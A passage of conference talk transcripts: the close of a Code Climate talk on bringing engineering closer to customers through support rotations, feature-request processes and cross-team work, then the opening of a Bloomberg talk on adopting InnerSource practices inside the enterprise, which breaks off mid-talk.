Another change is that severity ones are treated differently than other severities within our organization. A severity one is a major issue. So, for example, if a customer’s instance of Code Climate Enterprise is down, we flag it as severity one and it requires all hands on deck to fix.

In past quarters, we found that the burden of solving these types of escalations is hard for a single escalations engineer. They often had to ask for extra help anyway. So we changed severity ones to be treated as production incidents. Support escalates directly to our engineering teams existing PagerDuty rotation. We have a fairly robust alerting pipeline for codeclimate.com, so most issues are caught by other alerts before they even get to support. It was pretty easy for us to integrate these other issues into that rotation. Distributing the work amongst those who are already on call helps solve severity ones more quickly and taps into existing expertise.

After adopting the aforementioned quarterly rotation, it helped highlight gaps in our own team’s knowledge about troubleshooting in other parts of the product. Thus, engineering has started leading proactive education workshops to teach concepts that will help us troubleshoot future issues. For instance, one of our support engineers noticed that we were pretty much escalating every single issue that had to do with our enterprise product. He set up a workshop to talk through troubleshooting concepts and how engineering looks at the same issues. This helped the support team work through more enterprise issues and lessen those types of escalations.

Engineers really benefit from this, too. Having them explain their work and their contributions to the product helps them grow and build empathy, and again, really strengthens that great rapport between your support and engineering teams. And informing the support team empowered us to troubleshoot and triage more effectively and even nipped future escalations in the bud.

Here’s our resolution time for escalations per month. So, after a slight rise due to those new processes, especially proactive education, we were able to have a fast mean time to resolution to customers than before and our customers, obviously, are really happy about that. And here are our escalations per month. You can see the tangible benefits of when we adopted these new processes and it’s because of that quarterly rotation, better processes around triaging, and proactive education. On average, our monthly escalations have gone down month to month, and that’s great.

Having worked on our escalation process, the next thing we did was take a look at the product engineering and support relationship. It’s a common problem that support doesn’t have the full picture of what’s being developed. I hear this all the time from other support professionals that I interact with every day, and this is a problem for everyone.

Even on a small team, communication is oversaturated. There are too many Slack posts and GitHub issues, and this is not sustainable at all. There’s just too much to keep up with. Last quarter, we established a weekly customer support and product meeting to sync up about work being done that week, as well as talk about things coming through the pipeline. Instead of trying to keep up with endless notifications, now we talk face-to-face and it’s much easier.

Personally, this is my favorite meeting I have every week because it’s really productive for my team and the product team, and it really gives my team great perspective on what’s happening in our organization. So, we talk about work in progress. What’s the progress on last week? What’s happening this week? We cover any upcoming releases. We get to answer the question of what exactly are we shipping and when? And how does it affect our customers? Then we talk about any customer-facing communications needed like updating docs, release notes, as well as inquiry response to incoming new customer questions. And lastly, we talk about feature requests. I’ll cover that in a little bit more detail in a bit.

This has helped our teams a lot. I share the most important knowledge back to my team since one of my people is remote, it’s good that we can be all on the same page about what’s happening that week. And it also helps us action any internal work that helps that product work. And it has also stopped confusion about what exactly is being released. We’re more confident and thus can help our customers better. And lastly, it fosters trust, again, between support and product. We know what’s going to be released and how to handle it.

Now that we have that open channel of communication with product and engineering, we decided to tackle the beast; feature requests. We all want to be the type of company that welcomes customer feedback, and feature requests, and actually actions on it. But I think this is the hardest gap to close but we’ve made a lot of steps here at Code Climate to do so.

Before, support had ways to catalog feature requests, but no way to surface them in a meaningful way for people to action them. So, we had a very bad GitHub repo, then a very bad Trello board, and – hey, Gordon, did you look at any of those ever?

Gordon Diggs: Ehhhhhhh…

Abby Armada: Yeah, me neither. There’s a limited process for both of the repos and the Trello board, which also housed bugs alongside feedback. Someone would make an issue, which would live on in perpetuity. And every time a request came up again, someone would comment on it and push it to the top. It sounds good in theory, but no one ever looked at them. Just having the tools isn’t enough. We thought that switching to Trello would solve the problem of stale, sad feature requests. But, in fact, you just needed a process.

The more you can get feedback into the eyeballs of your company, the better. You have to be loud to get this actioned.

We created a feedback repo on GitHub, again, which feeds into a Slack channel, then we talk about important feedback during that product meeting I mentioned before. The more you can get feedback into the eyeballs of your company, the better. You have to be loud to get this actioned.

This is what that GitHub repo looks like. You can see the different issues opened by the people on our team. And we use labels to easily identify the status of each feature request. You can see stuff that’s been actioned, what needs to be reviewed, and the different parts of the site that the feature request is about. And now these are pure feature requests. They are not bugs or anything pertaining to escalations. These are all nice to haves and legitimate product feedback from our customers.

Of note, this repo is completely internal. There’s no way for a customer to directly add feedback to this repo. Only people at Code Climate can do this. And then the feedback is curated by me. We have an issues template that asks a bunch of relevant questions. If the feedback doesn’t clearly answer why a customer is asking for a feature or isn’t detailed enough, it gets rejected. This curation process keeps the board fresh and keeps my finger on the pulse of what our customers want.

This is that Slack channel with that piped in feedback activity. It has all new issues and comments on old issues. And they all get fed into this channel that anyone in our company can join. So, in this screenshot, Jenna opened an issue, pinged Noah to get his thoughts, which he then shared to the issue itself. Loud is good.

As I mentioned, we also talk about the feedback issues in that weekly product and customer support meeting and see if they’re still relevant and see where they fit within our product roadmap. Sometimes feedback and feature requests can alter a product roadmap, giving us ideas for something we didn’t even consider before. And through all of this, we’ve seen an immense improvement in adoption of customer feedback within product development. In fact, after we adopted these processes, 25% of feature requests were actioned by our product team, which is a huge improvement from basically zero.

You’ve heard me talk a lot about what we did at Code Climate to close the gaps between engineering and support, but these solutions might not necessarily work for your specific teams or solve the types of problems you’re facing between your customers, support, and engineering team. As an engineering manager, it’s up to you to try and work in tandem with your support team to solve these problems. Collaboration, communication, and iterating on processes together are the key ways to do this and it leads to happier customers overall.

Closing the gap to other departments

Gordon Diggs: We’ve talked about how to build customer empathy and we’ve talked about some of the processes that support and engineering have worked on together. But what about the other customer-facing departments in our organizations? Your customers move through life cycles, and engineering should follow them.

Before your customers are even your customers, they interact with your marketing and with your marketing team’s efforts. At Code Climate, we dedicated an engineer for a whole quarter to help build automation for our marketing lead pipeline. He did this by supplementing leads with data from a variety of sources and piping it all into our CRM. He learned about what makes leads more qualified from a marketing perspective and our pipeline is fuller and faster than it’s ever been. He also learned a lot about our user personas and our segments. And this ties back to that idea of the diversity of our users from before. He came back from the marketing team with a better understanding of our users and where they come from. Dedicating a full-time engineer to this rather than hiring a contractor or farming out to buying some product, ensures that we built this in the right way and in a way that we can easily maintain and extend moving forward.

Sales is a really important part of most businesses, but particularly at a SaaS product we need to have a sales team. And sales people usually aren’t engineers and may not be able to articulate the same engineering concepts. But they are very good at learning and they can really learn from your engineers. And there are a few ways that engineers can get involved with your sales department.

The first and maybe most obvious of these is building features for customers who are in your sales pipeline. Putting engineers on your sales team means that you can more quickly action the high value projects that will sign customers right away. So, we identified three key features blocking sales and then we built them. And additionally, in just having the conversation about what features are the users that you’re talking to, what features do they really want? In just having that conversation, we clarified our product direction and have a clearer idea of where we need to go.

There’s a very, very important note and caveat to this. Some features will be too big for this setup and some will be in conflict with your existing product roadmap. I’m not suggesting that you give your sales people carte blanche to implement features in your product. But, working through the discussion of the features that they want to build and finding the compromises will really help grow your business. It’ll help clarify your roadmap, and it’ll sign customers, which is really good.

So, another sales engineering activity is reviewing leads technically. This is a little bit specific to Code Climate as a highly technical product, but we have an on-premise enterprise product and we want to be sure that we only deploy it to platforms and customers that will be successful. Doing this once a customer is about to sign a contract causes the sales process to lose momentum, but if you review the technical requirements – for us that’s things like virtualization platform, version control system, programming languages, that kind of stuff – if you review that earlier in the process, your leads will be more successful.

Pulling engineers in to do this on an ad hoc basis was something that we used to do like, “Oh, yeah, just go grab someone off of product to review one of these leads.” But it meant more prep, more interruption, and generally lower quality reviews. So having people on your sales team ready to do those reviews is a really big strength.

Similarly, installing and setting up the product with customers gives engineers a really good sense of what your onboarding experience is like. In many cases, it’s been years since one of your engineers signed up for your product and, most likely, they’ve never done that with money on the line. So, having them sit down and understand what the customer is going through helps them build it better in the future and it helps get the customers up to speed faster. This also ties back to that idea that I was talking about earlier of watching your users use the product. This will really help eradicate some of those unconscious biases that your engineers bring to your onboarding experience.

Lastly, putting customers in touch with your engineers directly build rapport. It’s rare that you can jump on a sales call with a company and there’s an engineer there to tell you about how they built the product, particular features that they really like, that kind of stuff. It’s also rare that you can be in the Slack group and DM an engineer directly to ask them a question about how do I configure this? How do I work with this? And so, having that engineer there really helps build this rapport.

Abby talked extensively about customer support and shared lots of really good thoughts, but I want to throw this department up here because escalations were where we started. Both Abby and I started talking about this customer support engineering thing, and it was the first place that we experimented with this quarterly rotation idea. I also want to mention that being on the support team doesn’t mean just answering escalations and providing technical knowledge to the support team. A successful setup of an engineer on a support team means also building the features that ensures that those customer issues don’t happen again.

So, in the same way that sales engineers build features for customers in the sales pipeline, your support engineers should collaborate with product and engineering to action the features that will really help prevent future issues. So, you can see that drop in escalations per month, and a lot of that is because we found the patterns and where users were running into trouble and where they were writing into support, and built better experiences for them.

What about once someone is a customer but their experience isn’t broken? So, they’re not writing into your support team. Customer success works with customers who are configuring the product, who are discovering how to use it, and who are using it in their workflows everyday. Your engineers can help train users on how to use your product. They can go do customer visits. They can sit down and eat lunch with your users and show off their work or talk about things that are coming up that they’re working on.

I really love training customers, and working with them, and seeing them get excited about a feature that someone on my team built, or seeing them understand a complex part of our system. And if your customers are engineers like ours are, that’s even better because they’re going to want to know what it’s like, what the special sauce behind Code Climate is.

So, in both customer success and sales, the engineers are both training you customers and your representatives about the product. Your representatives may not know about the newest features or what’s in development. And if they do, they may not know about all of the edge-cases or the best applications for these features.

And ultimately, working with customers and with other departments makes your engineers more well-rounded. They’re still going to be great product engineers. They’re not going to stop wanting to build features. It’s fine. But they’re also going to be better at sales. They’re going to be better at support. They’re going to be better at marketing. And this will set them up for success both in your company and in their careers at large. We’re lucky because our quarterly rotation lends itself well to putting engineers on other teams and working directly with other customers.

Engineers also remember their customer interactions. And it informs the way that they build things in the future. They remember seeing that customers missed a CTA or ran into an error because of a configuration problem. And this memory or this interaction lingers with them the next time they build a feature or talk to another customer. And it really informs the way that they go about their work in the future. So, we’ve seen that engineers who do a tour on the customer support team come back to product and have a new way of looking at building product because they’re thinking about customers and they’re focusing on them more. To restate that, more experience with customers leads to better features.

More experience with customers leads to better features.

Engineers don’t like to be interrupted. We’ve talked a lot about building processes to reduce this interruption. Getting into flow is a really important thing for engineers. All the engineers in the room are nodding their heads. And we, as managers, can’t pretend to change that. We’re not going to change flow. We’re not going to solve that problem. But understanding why your support team is bugging you to fix issues and understanding their motivations and that they’re advocating for your users will really help your engineers grow and will make your product more stable.

And I’ll also mention, we made these slides and we did a rehearsal of this talk. And one of my engineers is like, “I don’t like the word nagging on this slide because I think it’s a negative thing.” And it is. It’s only nagging if there’s a problem and if it’s something that they don’t really want to be doing. Talking to support more often, doing these weekly check-ins, having the people there for them to discuss escalations with, will prevent the unnecessary interruptions and it won’t be nagging. It’ll just be talking to you. Support will be talking to you for a reason.

Abby Armada: Support doesn’t like to be interrupted either. We’re doing work too. So having dedicated time to talk to engineers really helps everyone and your customers.

And here’s that visual we presented before except we’ve closed the gap significantly. And our engineers are close to our customers than ever before.

Let’s review some takeaways and what you can do.

Gordon Diggs: Build empathy within your engineering team to foster a focus on your customers. Know where the gaps are between your engineers experience and your customers, and then close them. And start small. If you have a small engineering team, that’s great. Get everyone onboard right away. But if your organization is larger, find a pilot team and then recruit your leaders within engineering to spread their success to others.

Abby Armada: Make sure your processes promote good collaboration between support and engineering. Don’t be afraid to experiment and try new things and talk to each other. You’ll learn a lot about the ways that you can work together and make your customers happier.

Gordon Diggs: Include engineers in every stage of your customers’ life cycle. Find a way. Go to those teams in the strictly customer-facing departments and say, “How can engineering help here?” From marketing to sales to support to customer success, find out where the engineers can help and then put them on the teams for a significant amount of time.

Abby Armada: At the end of the day, if you’re truly customer focused, then happy customers will mean a happy business.

Gordon Diggs: Thank you. Obviously, Abby and I have lots of thoughts on this and we’ve talked about this for a long time. If you have thoughts about any of this stuff, please come talk to us. If these sound like particularly interesting problems to you that you want to help us solve, Code Climate is hiring for both engineering and support roles. So, please come talk to us. And yeah, thank you for coming today.

Abby Armada: Thanks!

Gordon Diggs: Thank you for listening to us.

Gordon is the Director of Engineering at Code Climate. He spends his days managing and growing the engineering team. When he is not at work, he can usually be found at the nearest record store or at home cooking lasagna.

Abby is the Customer Support Lead at Code Climate, and is passionate about great customer experiences. She’s currently working on developing her team, scaling support infrastructure, and finding the perfect taco in New York City.

Transcript of talk

I’ll just start by introducing a little bit of my background, how I got here, and why I do what I do today.

I run something that we call Developer Experience at Bloomberg. How I got there is a slightly long-winded story so bear with me.

I started off in the ‘90s working as a late night lab assistant in India, which then led me to supporting the manufacturing sector and then the financial sector. When you joined as a consultant, you literally did everything. You were an app developer. You were a system administrator. You were a DBA. You were the person who wired up the cables and got into the machine room and did everything.

That then led me to deciding to follow databases. I became a database consultant and moved to Asia in the financial sector. Long story short: I landed up here in New York City, working in the financial sector again, focusing on application development and databases, and then system engineering, and performance engineering. This long-winded story comes back to why it puts me in this unique position for Developer Experience, as I discovered that – going through these various roles in these various countries, encountering different types of developers – the one thing that I developed a lot for was empathy.

I realized that every single personality type in computer science, varied system administrators, DBAs, app dev, web developers, have their own personality types. We all have our own quirks, our own religion, and do things in a very particular way that’s unique to us. So “it’s my way or the highway” and “I’m god’s gift to mankind”.

That made me develop a lot of empathy that led me to saying, well how can we make our developer experience across the spectrum of people different? Because we all actually want to work with each other. It’s not that we don’t want to work with each other. But we are so myopic in the way that we want to develop our piece of the puzzle, that we don’t see the other person’s point of view.

Two and a half years ago, I got approached by Bloomberg to try and explain how should we be developing software. I had been at Goldman Sach’s for 16 years and done various, various roles. And as a tech fellow at Goldman we were driving technology in a particular way. When I started talking to Bloomberg it was really about how can we continue to embrace change, and keep our developers excited, and continue to develop quality software, and be the product leader that we have been for so long. So we created this team called developer experience.

So basically, my team does anything and everything from owning the tools that are required by the developers, the process, the framework, the training, the documentation. I even got a, this is a real story, I even got asked if we were responsible and we would take care of having enough male bathrooms. But don’t quote me on that one.

INNERSOURCE: LEVERAGING OPEN SOURCE BEST PRACTICES IN THE ENTERPRISE

Let me make a one second pitch for Bloomberg: Since the majority of people here are from New York City, you’ve obviously heard of Mike Bloomberg. Anybody not heard of Bloomberg the product company? All right. Awesome. So just to make sure we’re all on the same page, we’re a product company based in New York City predominantly, and we’re in the business of providing information. 5,000 engineers across the globe who work on developing the platform on Bloomberg Terminal. You’ve heard of Business Week and you’ve heard of the Bloomberg media news outlets, etc., but our predominant product is the Terminal.

I said we were in the business of providing information. As you can imagine, it’s been 30 years of development that have gone into building the Terminal, to be able to provide very high touch individuals with specialized functions to get the information they need. Whether it’s news, trade related, analysis, portfolio management, to finding out the current events that are happening. So we have to really, really work to provide low latency information and also a broad variety of information.

You can imagine that everyone is working on different functions. Could be for the equities business or it could be for the news media or it could be for some of the back-end functions, just to develop this Terminal itself.

When I got in, what we discovered was that we collaborated a lot. There was a lot of collaboration, but we collaborated the old-fashioned way. Spoke to people. Put in tickets for other people to do things. We were transparent about the fact that your ticket is going to wait for me to finish what I’m working on, or it has to get prioritized by whichever product owner of whichever team I’m working in.

I started exploring the concept of how can we bring open source best practices in house, inside the enterprise. As we started exploring that, we called it “collaboratively sourced” or we called it “internal open source” and finally some of our active developers came up with the fact that hey, this thing already exists in the market. It’s called InnerSource.

Anybody hearing InnerSource for the first time? Cool. It wasn’t a well-known term. We hadn’t heard about it. We were just wanting to bring the best practices in house. After going through a few iterations, we settled on saying fine, we’ll call it InnerSource. Of course, having spent the past 20 years in the industry, my fear was InnerSource would get thought of as developers outside the company working on it. But in any case, supposedly O'Reilly had coined the term 17 years ago, so the term existed.

About 17 or 18 companies, decided to collaborate to see if we could make InnerSource a much more popular term. But more importantly for me, was really bringing those practices in house and sort of breaking down the barriers that exist within an enterprise.

What I discovered is: Most enterprises have grown up organically over the years. It’s very easy in a startup to start with a clean, fresh slate and work on things, and be open about it, be transparent about it, be able to look at each other’s code, etc. In an enterprise that’s evolved over 20 years, you’ve grown up in silos. Thing have got added on as they got added on, so people hold on to their little bit of the codebase. That’s how they’ve grown. What we needed to do was figure out a way of breaking down those barriers and really embracing some of the benefits.

I list out the benefits here – transparency, collaboration, innovation, community, reuse, mentorship, self help – but there are obviously more benefits to open source than these. What I was really focusing on for our developers is collaboration and a lot of the community and the camaraderie that can be built up, so that we have empathy for each other. We are able to work with each other without getting protective about it. That’s pretty much the theme that started it.

HOW

So how did we go about it? Initially, it was really just talking about the concept. Just like how I asked you, who has heard about InnerSource and a lot of you hadn’t. When I spoke about collaboratively sourced, it was met with of course, a lot of skepticism. There was a lot of critiques. It was like it’s just not going to work. Like, why the hell would we do this? We are already working within our teams. We have enough work to be done within our teams. So the first thing was really about introducing the concept and saying, at least just be open to the idea that I can go across an enterprise team, organizational, artificial boundary and look at somebody else’s code and add value or vice versa. Have somebody else who may have something to offer, may have some sort of expertise, or just be interested in that area, to come and look at my codebase.

Just sharing that idea and getting the excitement created within the development community was the first step that we went about. I did think about, and everybody asked me, what sponsorship do we have? Do we have management buy in? What I had done was just tested the waters, to say, if I go and ask for permission, will it get squashed down or should I push for this collaboration social experiment and beg for forgiveness later?

Fortunately, one of Mike Bloomberg’s business principles state that take the risks and beg for forgiveness if needed. So that’s how we decided to say let’s start getting the developers excited about the fact that hey if you are waiting on somebody to do something for you, you can offer to help them out. In the offering to help them out is where the whole drama lies, but the concept was well understood.

Identify early adopters

Once the concept got understood and a few of the developers started embracing the concept, that’s when we said, let’s identify early adopters. I was in this unique position to say, I own the tools. I own the tools that developers use, so let’s open up these tools and if the next person who asks me for a feature, we’re going to tell them that they can help us and contribute to our codebase and make that happen for themselves.

Two and a half years later it sounds way easier to say what I’m saying. Trust me, all my team leads hated me. Literally hated me. They were like, why is she bringing all this into this? We were functioning just fine, right? Because I mandated that we open up our own codebase.

So I identified early adopters. In your organizations it really is about finding out what’s that sweet spot, what’s the low hanging fruit, which of the less resistant applications, functions, codebases would be able to accept external contributions. Then, it really was about mobilizing people to actually start to engage and contribute.

Engage (at all levels)

This is where we were slightly unique because we already had a few years ago started off with engaging our development community a lot more. We have people who are called partners, we have people who are called champs, we have people who actually within their own areas, are responsible for being the people who engage with the other teams, continue to collaborate with the other teams, as well as pushing best practices. So it was really leveraging this champ/partner community. We have tech reps as well, really embracing and getting them to embrace it and then they started engaging with us to say, can they start contributing to these early repositories because it really was setting precedence.

Evangelize

Once we had the precedence set, because we had a few repositories where people from other teams could now contribute code, we could then start to evangelize a little bit more and even tell middle management, or our managers, or our senior management, that this concept can work. We just have to push the envelope a little bit. So really it was the engagement on all levels and the evangelization.

This is really about tooting your own horn for the project itself. So for InnerSourcing to be accepted, for people to start understanding the terminology, we created an internal function called sauc. It’s just a play on Innersource but it’s called sauc, so when you type in sauc it’s nothing but a list of repositories with pull request, books, help wanted tags, and it’s just a very, very simple gaming methodology. Not to call out people, but to call out projects that have lent themselves to being contributed to as well as extended.

Sponsorship

That’s a key, but in our case, we got sponsorship way later into the game when we had already sort of proved concept, to say this can actually work.

AFFECTING CHANGE

Organizational structure, culture and dynamics

So I mentioned change is hard. Tell me to walk on the left side of the road when I get out of Penn Station and I go berserk because I have a set pattern. I walk on the right side of the road to get from Penn Station to Park. That’s just a simple example. Try telling any one of you to change the way you write code or change the way you do certain things and you’re going to be questioning why it needs to change because it works for you. The way I develop software on my laptop works for me, why the hell should I change anything, right?

It was really, really hard to get people to accept the fact that now we are going to introduce the ability for other people can contribute to your codebase. You can contribute to other people’s codebase. Keep in mind, I’m talking about history. People at Bloomberg have been around for 20 years. So they have set patterns. They have ways of working. It’s not like we’re getting in or changing 5,000 people overnight. When new people come in, of course they want to be able to bring their new best practices with them. Being able to talk about the fact and getting them comfortable with this organizational structure should not be the barrier which holds you from going across organizational boundaries, which is something that we really had to work on. It was a lot of talking. A lot of sharing stories and convincing people that this is good for them.

There is a lot of pride in the work that we bring, the work that we have done. Sure, I took some short cuts at some point in time, but I had pride then and now, because I don’t want to feel exposed, I’m reluctant to open it up and allow people to critique it or comment on it.

So, code pride is one of the things that I found was the biggest road block because people have evolved over time and they have become better, they have embraced new things, so if you go back and open up something that somebody wrote 15 years ago, and start saying this person doesn’t know what the hell he was writing about. Yeah, maybe he didn’t. Maybe he or she had no clue what they were doing at that point in time, but they have evolved now.

What became really interesting is creating a culture where it was okay to talk about code that was written earlier, but it was not okay to say nasty things. It’s easier said than done.

We use IB, Instant Bloomberg, as our internal chat. I can’t police multiple chat rooms to say people shouldn’t say nasty things to each other. I’m guilty of saying, this is just ridiculous stuff, I’m not even going to bother commenting on it or they shouldn’t have done it this way, but we had to start creating cultural awareness that you cannot bite somebody else’s head off, you cannot be nasty, and creating the informal policing.

I talked about champs. I talked about tech reps, I talked about evangelists. Creating that culture where developers feel that they can hold accountable other people who may be getting vicious, or even slightly aggressive, on IB or mail or even comments in the codebase itself. Really embracing the fact that you’re coming from different places and you’re contributing at different times and therefore, passing a judgment is not acceptable, and we have to find more constructive ways of changing that codebase and making that change.

Accepting contributions is hard work

As soon as we started getting over that barrier, the next thing was, well, accepting contributions is hard work. And then taking ownership of somebody else’s contribution, because I may still own the product and I’m responsible for when the tool breaks. It then became the concept of saying, well we have to then define how am I going to discuss the feature request coming in, or how am I going to deal with the idea, the suggestion, the code contribution coming in, and what are the rules of engagement? What are my guidelines? Or, what’s my point of entry? And what are we willing to engage with and what are we not willing to engage with.

Now, in the whole Agile transformation, it’s tough because you need the product owners to buy in, you need the team to buy in, you need to be able to set aside the time to accept contributions that weren’t part of your regular stream of work coming in.

Trusted committers

This is where we started to talk about expanding our trusted committers beyond the organizational or product team. Could we grow our list of trusted committers beyond the organizational boundaries? This was really, really hard work. It of course meant that there was a lot more coaching involved. There is a lot more shadowing involved. A lot more people who are getting familiar with your codebase, before they can actually help out with code reviews, by being able to review your pull request, etc.

CHALLENGES

Risk

It’s complicated. There is a lot of risk to it and the risk is if I’m owning a production function and you’ve contributed code to it, and something breaks, I’m going to be held accountable for it. I’m going to have to support it. I’m going to have to get up at night and deal with whatever broke because you didn’t test some edge condition. It’s easier just to say no we can’t do this. So that risk was the biggest one that we had to overcome, to start to encourage a higher standard of acceptance such that we could take this risk of getting contributions from other people.

Commitment

The next one is commitment, both time and team.

Time is the easier one because – and I got into trouble for saying this in Europe, but – everyone does 120%. Some people even do 140%. It is basically going beyond your day job and providing some contributions to other teams or even functions you’re interested in, but Europe has some very strict guidelines around the 80/20 and just padding 100% of the time that they work on, so I was told to work on trying to figure out how we could adjust our external or additional contributions to within 100%.

So we went back to this concept of 80/20, 90/10, call it what you want. We didn’t really advertise it internally, but we took a few teams and said, let’s try it out, to see how much does our work really suffer, if we do set aside 10% of our time to work with other teams or things that we may be interested in personally. The product buy-in on this was really, really tough, as well as some of the teams just didn’t embrace it initially.

I won’t say this was a solved problem, but we continue to work on it and I truly believe persistence is going to pay off. Over time, both project owners as well as the teams will realize that having that 10% flexible time for me to work with other projects that I’m maybe interested in, is actually a motivating factor for me because I don’t mind the drudgery stuff I may be doing or I don’t mind some of the other things that may come on my plate, because I have that 10% excitement of what I want to do. Or try out a new thing. Or be able to look at a new exciting project that’s going on in some other part of the firm and be able to do that.

It also led to this whole confusion between projects and products and projects done by teams versus what the product ownership is. The reason I bring that up is, even though the Terminal is one big product, we have multiple products within the Terminal, and then we have multiple projects that go across multiple products – so there’s no one size fits all. So we would have to figure out what the right distribution of work across projects and products is. As I said, in an enterprise having evolved over time, time accounting or people accounting became a question, to say, where does a developer’s time go?

Again, we went back and forth on this, saying we shouldn’t worry about where a developers time goes, we should worry about the progress that we’re making with moving the product forward or the project forward, and the innovation that we’re bringing in, the new functionality that we’re bringing in, which is what our higher end clients need.

That is again a lot of proving by actually getting some initial teams to be able to participate in this sharing concept, move the product forward, and getting the product owners to actually talk about the wins. We had some crazy user stories being shared internally about just functional changes that we were able to move forward much faster because multiple teams were now able to collaborate at a completely different level.

Rules of Engagement

I spoke about rules of engagement. I spoke about people defining, so we didn’t set a one size fits all. We didn’t say this is the participation criteria across the board, we said, every team can now put in a contributing.md and I said team but I really mean a repository. Any repository, you can define your rules of engagement. You must have a contributing.md otherwise you’ll get a default one. And in that, your rules of engagement and your acceptance criteria for contributions. Then what we started doing was scraping all the repositories to find these contributing.md’s as well as started to showcase where people were being forthcoming about defining their rules of engagement really well and their acceptance criteria as well as where it was then possible for others to start contributing to it.

Buy in

I already spoke about the buy in. We had to get and we cheated again a little bit on this, we went around the product owners and found out which product owners would lend themselves to this concept of inner sourcing, who would lend themselves to saying, some portion of my time, 5%, 10% of my developer time, can be spent and we had various sort of negotiations with them which is to say, fine, I can move tickets in some other project as long as it helps my project move forward. If I’m waiting on somebody, I have the leeway to contribute to that particular project and move it forward for myself.

So we engaged with some of the earlier product owners. Once we had gone through six months with them, we got them to talk to other product owners and showcase how it was beneficial - not just in terms of moving the product forward, but in terms of the developers engaging with the other development teams on a much deeper level. We were engaging and collaborating at the codebase.

It also helped with keeping us motivated, and having options. I now like what’s happening in the other team, and I have mobility options to actually move to the other team and help them move things forward. We had various occasions where somebody moved to another team for six months, helped the move a particular area forward and then move back. It just opened up a variety of avenues for us.

It’s my baby

Finally breaking the myth about it’s my baby. How many of you still hold onto stuff saying that it’s your baby? I used to be one of those people 10 years ago. You have to learn to let go. Literally, it’s not going to get better continuing to be your baby, right? At some point of time, even parents let their kids go. So, the breaking down that concept of “this is my baby and I’m not going to let go” was probably the toughest one. So we had to continue to push on those people who thought it was their baby and work with them on an individual one on one basis. I will claim we still have a few. I think we’ve broken down most people to at least open the doors. They still think it’s their baby but they’ve opened the doors. We still have a few more to go and that’s been the toughest one.

DIVERSITY

Individuals

I started my talk with what got me to this place which is I had experiences across Asia. So in India, it’s a very hierarchal society. It’s changing, so don’t throw darts at me right now, this was 20 years ago. We had just started. The computer boom had just started in the mid 90s and it’s very hierarchal. You get delivered a set of tasks. You move forward. Nothing. You’re not allowed to question or offer a suggestion.

Unfortunately, I was sort of badly placed there. I was born and brought up in India, but I was badly placed there because my dad sort of encouraged us to really do whatever the hell we wanted. We were two girls. When I started working, it was really tough for me to hold back because if I didn’t agree with something, I would say, this is just wrong. I’m not going to write it this way. That was my individual experience. However, I discovered – as I moved into system administration and database administration, I was one of 50 to 100 guys sitting there – I was okay working with them because I had grown up that way. But the other girls that started joining our teams, were not okay with it. They found it difficult. That’s when my head started clicking and I said every single individual is different. I could deal with it but some of the other aren’t dealing with it.

Then I discovered that it’s not a gender thing. It’s individuals. They are individuals who are soft spoken. There are individuals who don’t mind putting their ideas out there. There are individuals who are more thoughtful. There are individuals who will speak off the cuff and we have to account for those individuals, for those different individual traits when we start collaborating and we have to try to create a practice where everybody is sort of self-policing themselves so that we are more inclusive. That’s something that just doesn’t come naturally. But we had to start talking about it and as I held more and more intimate 20 people, 30 people sessions on pointing out behaviors within instant messaging, pointing out behaviors with updates on tickets, pointing out behaviors with code reviews that were nasty, or appear to be nasty. I am a direct person. I can ask a direct question. I didn’t think twice about it. But the person on the other end or a newcomer on the other end, may perceive it as hey I’m not going to touch this thing because the next thing I do my head is going to get bitten off and I just don’t have time to engage with it.

That really is something that each one of you, individually, if you’re just conscious about the fact that the other person might be coming from a different place, we can collectively improve the developer culture across the board. Just by being conscious of the fact that somebody is coming from a different place and may have a different criteria in mind.

(By the way the picture up there is a fish tank at Bloomberg and I always get fascinated because every fish behaves differently and that’s why I wanted to put that picture in there.)

Building a culture of mentoring/coaching

Building that culture of mentoring, of coaching, is every individual’s responsibility, and just making people conscious, all developers conscious, of the fact that this is what’s happening. I found a very unique way to do it. Get a bunch of people in the room, of varying experience and at different levels in the organization. So two years’ experience to 20 years of experience and ask very provoking questions on how they would react to a certain statement out there or how they felt when something happened in IB and instant messaging or what would they think if they had a newbie question to ask. Who would they ask that question to? How would another person who was sitting there react to that newbie question?

When we started having these conversations, it was very interesting because people discovered, just observing and hearing other stories in the room, behaviors that they probably needed to change themselves. It wasn’t anybody judging it was just sharing stories. And we still do that to bring developers together even in meetups, we ask those questions, especially around being more inclusive, about the varying range we have.

Community driven

As I said, it’s all community driven. We leverage the champs, the partners, the SI partners a lot. I encourage developers to be their own police so we don’t have top down mandate. We don’t have a management decree coming down that thou shall do this. It is all based on grass roots efforts. We do have support now though.

TEAMWORK

Of course, it’s not, even though we are all individuals and every single individual contributes to it, nothing moves forward without us moving as a team including this collective developer audience as a team.

[Indicates slide outlining roles within team and a picture of a dog sled race team] The reason I very specifically picked this sled racing team is to point out the very, very simple difference. They are not all eight equal dogs. Each dog has its own personality. If they are trained, they are trained for the position they are running at. So the leader dogs versus the end dogs, have very different roles to play and part of the training goes into training those dogs that way. Those dogs don’t behave out of their roles. They behave in their roles.

I don’t mean to compare us to a sled dog team, but the reason I point this out is because when we’re functioning in a team, you will realize that and you probably already know this, that everybody plays a different role, apart from the official role. So some are more mentors. Some are more coaches. Some can ask more questions. Some are more outspoken and will take over the meeting or take over the design discussion and it’s their way or the highway.

What I’m really asking for in this is the roles should be really determined for the team as to who is doing what, but we should really embrace the differences and ask people – or make people comfortable – to participate in the team, even though the roles are clearly defined. Where people take over meetings or where people may be bullish about something, find somebody to coach them, mentor them, to change that behavior so that the team itself can evolve and become a better team.

TOOLS

When I go back two and a half years, I said okay, what are our silos? Why are we so siloed? Where is the collaboration happening? We didn’t have the appropriate tools. Tools did play an important role. Repositories were permissioned individually. I won’t even go back to whether we were using CDS, Purecase, SVN. Earlier versions of Git. We are now on Git but the reason I bring that up is because repositories are individually permissioned traditionally. That’s how we grew up in silos. So the first thing we did was say, okay, we’re going to open up our repositories.

“Oh no, no, no. You can’t open up my repository because I have sensitive stuff there.” What sensitive stuff? “Oh we store passwords there.” I’m like that’s not sensitive stuff. Take your passwords out. The repo is not the right place to store the password and keep a closed repository. This is a true story by the way. But it always came up as “oh we have sensitive code. We cannot open it up.” As I started questioning what is the sensitivity of that code, it always boiled down to one of three reasons. Three invalid reasons and I’ll tell you the one valid reason.

“I have some secure stuff there that I shouldn’t have put there but I put it there so therefore I can’t open it up beyond my team.”

“I have some…” am I allowed to say shitty code? “I have some really badly written stuff here. We’ve made some bad decisions. We have to clean it up before we can open it up. So we’ll clean it up and then we’ll open it up.” Of course it’s never going to get there.

